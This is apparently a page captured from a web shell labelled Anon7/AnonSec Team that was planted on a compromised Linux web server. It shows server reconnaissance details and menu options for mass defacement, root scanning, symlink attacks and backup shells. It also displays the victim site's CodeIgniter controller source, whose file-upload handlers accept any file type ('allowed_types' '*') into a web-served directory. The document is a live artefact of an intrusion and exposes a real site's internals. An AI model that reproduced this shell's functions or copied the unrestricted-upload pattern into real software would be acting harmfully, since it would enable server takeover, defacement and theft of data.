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/  Your IP : 104.23.197.31   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/karina/prd/cms/apps/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/karina/prd/cms/apps/controllers/Master.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Master extends CI_Controller {

	function __construct(){
		parent::__construct();		
		$this->load->model('Modglobal');

		if (!$this->session->userdata('logged_in')) {
        	redirect('/');
        }
 
	}
	public function index()
	{
		$page = "master";
		$user_id = $this->session->userdata('id');

		$program_query= $this->Modglobal->find('kate_program', array());
		$program = $program_query->result_array();
		$program_num = $program_query->num_rows();

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);

		$data = array(
			'content' => 'program/index',
			'program' => $program,
			'program_num' => $program_num,
			'status' => $status,
			'page' => $page,
		);
		$this->load->view('layouts/base', $data);
	}
	public function email()
	{
		$page = "master";
		$form = "add";
		$user_id = $this->session->userdata('id');

		$detail_query= $this->Modglobal->find('setup', array('id' => '2'));
		$detail = $detail_query->row_array();

		$data = array(
			'content' => 'master/email',
			'page' => $page,
			'form' => $form,
			'detail' => $detail
		);
		$this->load->view('layouts/base', $data);
	}

	public function email_update()
	{
		
		$data = array(
        	'desc' => $this->input->post('email'),
        );
        $where = array(
    		'id' => '2',
        );
		$this->Modglobal->update('setup', $data, $where);
		$this->session->set_flashdata('success', 'berhasil');

		redirect('master/email');
	}
	public function alamat()
	{
		$page = "master";
		$form = "add";
		$user_id = $this->session->userdata('id');

		$detail_query= $this->Modglobal->find('setup', array('id' => '1'));
		$detail = $detail_query->row_array();

		$data = array(
			'content' => 'master/alamat',
			'page' => $page,
			'form' => $form,
			'detail' => $detail
		);
		$this->load->view('layouts/base', $data);
	}
	public function alamat_update()
	{
		
		$data = array(
        	'desc' => $this->input->post('alamat'),
        );
        $where = array(
    		'id' => '1',
        );
		$this->Modglobal->update('setup', $data, $where);
		$this->session->set_flashdata('success', 'berhasil');

		redirect('master/alamat');
	}
	public function logo()
	{
		$page = "master";
		$form = "edit";
		$user_id = $this->session->userdata('id');

		$detail_query= $this->Modglobal->find('setup', array('id' => '4'));
		$detail = $detail_query->row_array();

		$data = array(
			'content' => 'master/logo',
			'page' => $page,
			'form' => $form,
			'detail' => $detail
		);
		$this->load->view('layouts/base', $data);
	}
	public function logo_update()
	{

		$findArr = array(" - "," ","  ", "[", "]","&","+","!");
		$replaceArr   = array("","-","-","", "","","","");
		if($_FILES["logo"]['name']) {
			$logo = 'logo-'.time().$_FILES["logo"]['name'];
			$logo = str_replace($findArr, $replaceArr, $logo);
			$config['upload_path']   = '../media/img/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $logo;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('logo');
	    }
	    else{
	    	$logo = $this->input->post('logo2');
	    }

		if($_FILES["favicon"]['name']) {
			$favicon = 'favicon-'.time().$_FILES["favicon"]['name'];
			$favicon = str_replace($findArr, $replaceArr, $favicon);
			$config['upload_path']   = '../media/img/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $favicon;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('favicon');
	    }
	    else{
	    	$favicon = $this->input->post('favicon2');
	    }
		
		$data = array(
			'img' => $logo,
			'desc' => $favicon,
        );
        $where = array(
    		'id' => '4',
        );
		$this->Modglobal->update('setup', $data, $where);
		$this->session->set_flashdata('success', 'berhasil');

		redirect('master/logo');
	}
	public function sosmed()
	{
		$page = "master";
		$form = "edit";
		$user_id = $this->session->userdata('id');

		$sosmed_query= $this->Modglobal->find('setup', array('tipe' => 'sosmed'));
		$sosmed = $sosmed_query->result_array();

		$data = array(
			'content' => 'master/sosmed',
			'page' => $page,
			'form' => $form,
			'sosmed' => $sosmed
		);
		$this->load->view('layouts/base', $data);
	}
	public function sosmed_update()
	{
		//sosmed
        for($i=0; $i< count($this->input->post('id_sosmed')); $i++)
	    {          
	    	$data = array(
				'desc' =>$this->input->post('desc_sosmed')[$i],
				'edit_date' => date("Y/m/d - h:i:sa"),
	        	'edit_by' => $this->session->userdata('id'),
	        );
	        $where = array(
	    		'id' => $this->input->post('id_sosmed')[$i],
	        );
	        $this->Modglobal->update('setup', $data, $where); 
	    }

		$this->session->set_flashdata('success', 'berhasil');
		redirect('master/sosmed');
	}
	public function store()
	{
		$page = "master";
		$page2 = "store";
		$user_id = $this->session->userdata('id');

		$list_query= $this->Modglobal->find('store', array('delete' => '0'));
		$list = $list_query->result_array();
		$list_num = $list_query->num_rows();

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);
		$top = array (
			'0' => 'No', 
			'1' => 'Yes'
		);

		$data = array(
			'content' => 'store/index',
			'list' => $list,
			'list_num' => $list_num,
			'status' => $status,
			'page' => $page,
			'page2' => $page2,
			'top' => $top
		);
		$this->load->view('layouts/base', $data);
	}
	public function store_add()
	{
		$page = "master";
		$page2 = "store";
		$form = "add";

		$user_id = $this->session->userdata('id');

		$channel_query= $this->Modglobal->find('store_channel', array('delete' => '0', 'status' => '0'));
		$channel = $channel_query->result_array();

		$city_query= $this->Modglobal->find('cities', array(),'nama');
		$city= $city_query->result_array();

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);
		$top = array (
			'0' => 'No', 
			'1' => 'Yes'
		);
		$link = array (
			'0' => 'Link', 
			'1' => 'WA'
		);

		$urut_query= $this->Modglobal->find('store', array('channel_id' => '3', 'delete' => '0'));
		$urut = $urut_query->num_rows();

		if($form == "edit") {
			$urut = $urut;
		}
		else {
			$urut = $urut+1;
		}

		$data = array(
			'content' => 'store/form',
			'status' => $status,
			'page' => $page,
			'page2' => $page2,
			'form' => $form,
			'channel' => $channel,
			'city' => $city,
			'urut' => $urut,
			'link' => $link
		);
		$this->load->view('layouts/base', $data);
	}
	public function store_add_pro()
	{
		$findArr = array(" - "," ","  ", "[", "]","&","+","!");
		$replaceArr   = array("","-","-","", "","","","");
		if($_FILES["img"]['name']) {
			//$img = 'promo-'.time().$_FILES["img"]['name'];
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = str_replace($findArr, $replaceArr, $img);
			$config['upload_path']   = '../media/img/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');
	    }
	    else{
	    	$img = $this->input->post('img2');
	    }

        $data = array(
			'img' => $img,
            'name' => $this->input->post('name'),
			'store' => $this->input->post('store'),
			'channel_id' => $this->input->post('channel'),
            'status' => $this->input->post('status'),
			'top' => $this->input->post('top')
        );
        $this->Modglobal->insert('store', $data);

		$store_id = $this->db->insert_id();

		if($this->input->post('store_name')){
			for($i=0; $i< count($this->input->post('store_name')); $i++)
			{	
				$data = array(
					'store_id' => $store_id,
					'city' => $this->input->post('city')[$i],
					'store_name' => $this->input->post('store_name')[$i],
					'link_type' => $this->input->post('link_type')[$i],
					'link' => $this->input->post('link')[$i],
				);
				$this->Modglobal->insert('store_city', $data);
			}
		}

		redirect('master/store');
	}

	public function store_edit()
	{
		$page = "master";
		$page2 = "store";
		$form = "edit";

		$user_id = $this->session->userdata('id');

		$id = $this->uri->segment(3);

        $query= $this->Modglobal->find('store', array('id' => $id));
		$detail = $query->row_array();

		$channel_query= $this->Modglobal->find('store_channel', array('delete' => '0', 'status' => '0'));
		$channel = $channel_query->result_array();

		$store_city_query= $this->Modglobal->find('store_city', array('store_id' => $id, 'delete' => '0'),'city');
		$store_city= $store_city_query->result_array();

		$city_query= $this->Modglobal->find('cities', array(),'nama');
		$city= $city_query->result_array();

		$urut_query= $this->Modglobal->find('store', array('channel_id' => '3', 'delete' => '0'));
		$urut = $urut_query->num_rows();

		$urut_online_query= $this->Modglobal->find('store', array('channel_id' => '1', 'delete' => '0'));
		$urut_online = $urut_online_query->num_rows();

		if($form == "edit") {
			$urut = $urut;
		}
		else {
			$urut = $urut+1;
		}

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);

		$top = array (
			'0' => 'No', 
			'1' => 'Yes'
		);
		$link = array (
			'0' => 'Link', 
			'1' => 'WA'
		);

		$data = array(
			'content' => 'store/form',
			'status' => $status,
			'page' => $page,
			'page2' => $page2,
			'form' => $form,
			'detail' => $detail,
			'channel' => $channel,
			'city' => $city,
			'store_city' => $store_city,
			'top' => $top,
			'urut' => $urut,
			'urut_online' => $urut_online,
			'link' => $link
		);
		$this->load->view('layouts/base', $data);
	}

	public function store_update()
	{
		$findArr = array(" - "," ","  ", "[", "]","&","+","!");
		$replaceArr   = array("","-","-","", "","","","");
		if($_FILES["img"]['name']) {
			//$img = 'promo-'.time().$_FILES["img"]['name'];
			$img = strtolower(str_replace_url($_FILES["img"]['name']));
			$img = str_replace($findArr, $replaceArr, $img);
			$config['upload_path']   = '../media/img/'; 
	        $config['allowed_types'] = '*'; 
			$config['file_name'] = $img;
	        $this->load->library('upload', $config);
	        $this->upload->initialize($config);
	        $this->upload->do_upload('img');
	    }
	    else{
	    	$img = $this->input->post('img2');
	    }

		if($this->input->post('channel') == "1") {
			$urut = $this->input->post('top_online');
		}
		else {
			$urut = $this->input->post('top');
		}

		$data = array(
			'top' => $urut,
        );
        $where = array(
            'store_id' => $this->input->post('id')
        );
        $this->Modglobal->update('produk_store', $data, $where);

		$data = array(
			'img' => $img,
            'name' => $this->input->post('name'),
			'store' => $this->input->post('store'),
			'channel_id' => $this->input->post('channel'),
			'top' => $urut,
            'status' => $this->input->post('status'),
        );
        $where = array(
            'id' => $this->input->post('id')
        );
        $this->Modglobal->update('store', $data, $where);

		if($this->input->post('channel') > '1') {

			if($this->input->post('store_name')){
				$data = array(
					'delete' => '1',
				);
				$where = array(
					'store_id' => $this->input->post('id'),
				);
				$this->Modglobal->update('store_city', $data, $where);

				for($i=0; $i< count($this->input->post('store_name')); $i++)
				{	
					$data = array(
						'city' => $this->input->post('city')[$i],
						'store_name' => $this->input->post('store_name')[$i],
						'link_type' => $this->input->post('link_type')[$i],
						'link' => $this->input->post('link')[$i],
						'delete' => '0',
					);
					$where = array(
						'id' => $this->input->post('store_city_id')[$i],
					);
					$this->Modglobal->update('store_city', $data, $where);
				}
			}
			

			if($this->input->post('store_name')){
				for($i=0; $i< count($this->input->post('store_name')); $i++)
				{	
					$store_city_query= $this->Modglobal->find('store_city', array('store_id' => $this->input->post('id'), 'city' => $this->input->post('city')[$i], 'store_name' => $this->input->post('store_name')[$i]));
					$store_city= $store_city_query->row_array();
					$store_city_num = $store_city_query->num_rows();

					if($store_city_num == 0) {
						$data = array(
							'store_id' => $this->input->post('id'),
							'city' => $this->input->post('city')[$i],
							'store_name' => $this->input->post('store_name')[$i],
							'link_type' => $this->input->post('link_type')[$i],
							'link' => $this->input->post('link')[$i],
						);
						$this->Modglobal->insert('store_city', $data);
					}
				}
			}
		}

		redirect('master/store');
	}
    public function store_delete() {
		$id = $this->uri->segment(3);
		$data = array(
			'delete' => '1'
		);
		$where = array(
			'id' => $id,
		);
		$this->Modglobal->update('store', $data, $where);

		redirect('master/store');
	}


	public function store_channel()
	{
		$page = "master";
		$page2 = "store_channel";
		$user_id = $this->session->userdata('id');

		$list_query= $this->Modglobal->find('store_channel', array('delete' => '0'));
		$list = $list_query->result_array();
		$list_num = $list_query->num_rows();

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);

		$data = array(
			'content' => 'store/channel-index',
			'list' => $list,
			'list_num' => $list_num,
			'status' => $status,
			'page' => $page,
			'page2' => $page2,
		);
		$this->load->view('layouts/base', $data);
	}
	public function store_channel_add()
	{
		$page = "master";
		$page2 = "store_channel";
		$form = "add";

		$user_id = $this->session->userdata('id');

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);

		$data = array(
			'content' => 'store/channel-form',
			'status' => $status,
			'page' => $page,
			'page2' => $page2,
			'form' => $form,
		);
		$this->load->view('layouts/base', $data);
	}
	public function store_channel_add_pro()
	{
		$data = array(
            'name' => $this->input->post('name'),
            'status' => $this->input->post('status'),
        );
        $this->Modglobal->insert('store_channel', $data);

		redirect('master/store_channel');
	}

	public function store_channel_edit()
	{
		$page = "master";
		$page2 = "store_channel";
		$form = "edit";

		$user_id = $this->session->userdata('id');

		$id = $this->uri->segment(3);

        $query= $this->Modglobal->find('store_channel', array('id' => $id));
		$detail = $query->row_array();

		$status = array (
			'0' => 'Aktif', 
			'1' => 'Tidak Aktif'
		);

		$data = array(
			'content' => 'store/channel-form',
			'status' => $status,
			'page' => $page,
			'page2' => $page2,
			'form' => $form,
			'detail' => $detail,
		);
		$this->load->view('layouts/base', $data);
	}

	public function store_channel_update()
	{
		$data = array(
            'name' => $this->input->post('name'),
            'status' => $this->input->post('status'),
        );
        $where = array(
            'id' => $this->input->post('id')
        );
        $this->Modglobal->update('store_channel', $data, $where);

		redirect('master/store_channel');
	}
    public function store_channel_delete() {
		$id = $this->uri->segment(3);
		$data = array(
			'delete' => '1'
		);
		$where = array(
			'id' => $id,
		);
		$this->Modglobal->update('store_channel', $data, $where);

		redirect('master/store_channel');
	}
	
	
}



Anon7 - 2022
AnonSec Team